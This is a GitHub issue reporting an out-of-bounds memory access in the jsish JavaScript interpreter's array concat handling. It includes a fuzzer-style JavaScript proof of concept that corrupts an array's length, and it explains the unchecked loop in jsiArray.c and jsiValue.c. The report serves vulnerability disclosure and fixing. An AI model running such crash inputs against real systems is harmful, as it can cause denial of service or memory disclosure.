You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
operating system: ubuntu18.04
compile command: ./configure && make
test command: ./jsish poc1
poc:
var o = [
1,
2
];
o.length = ~-4294967297;
var Shek = o.concat(o, o, o);
var ytbj = JSON.stringify('TrT{IlX88;Pc&6KbA$5dJn');
o = o.concat(o, o, o);
var Pcmm = o.reduce(function () {
}, o.length);
var Xtjk = o.concat(o, o, o);
Xtjk = o.concat(o, o, o);
Shek = Shek.forEach(function () {
}, o.length);
var HxDr = 759250124 == o.length;
var mscw = JSON.stringify(' ÌDDú\x05jr\xB3\x0F\x13R\x0FB7\xA9\xA3G\xA0\x16');
var KGeW = new WeakSet([
[3.1589793],
[]
]);
var KhcQ = new Map([
[],
[
o.length,
o.length,
-2147483648
]
]);
o = o.splice(o.length, o.length, o, o, o.length, 1.7976931348623157e 308);
var rbQB = o.forEach(function () {
}, o);
var a = Object.keys(o);
var APSB = -9007199254740990 != a.length;
vulnerability description:
The vulnerable code is on line src / jsiValue.c 261, the functionc jsi_ValueCopyMove, the affected code is as follows:
The address pointed by from is illegal, that is, illegal memory access.
reason
In the process of parsing js, when encountering the contact function of js, jsish will call the parsing function jsi_ArrayConcatCmd
The curlen here is obtained by Jsi_ObjGetLength, as shown in the figure:
But curlen can be changed at will, and the for loop of src / jsiArray.c 323 is not verified, it is easy to cross the boundary. In addition, the for loop calls the Jsi_ValueDup2 function, so that you can copy the content beyond the boundary.
The text was updated successfully, but these errors were encountered:
Enviroment
poc:
vulnerability description:
The vulnerable code is on line src / jsiValue.c 261, the functionc
jsi_ValueCopyMove
, the affected code is as follows:The address pointed by
from
is illegal, that is, illegal memory access.reason
In the process of parsing js, when encountering the contact function of js, jsish will call the parsing function
jsi_ArrayConcatCmd
The curlen here is obtained by
Jsi_ObjGetLength
, as shown in the figure:But
curlen
can be changed at will, and the for loop of src / jsiArray.c 323 is not verified, it is easy to cross the boundary. In addition, the for loop calls theJsi_ValueDup2
function, so that you can copy the content beyond the boundary.The text was updated successfully, but these errors were encountered: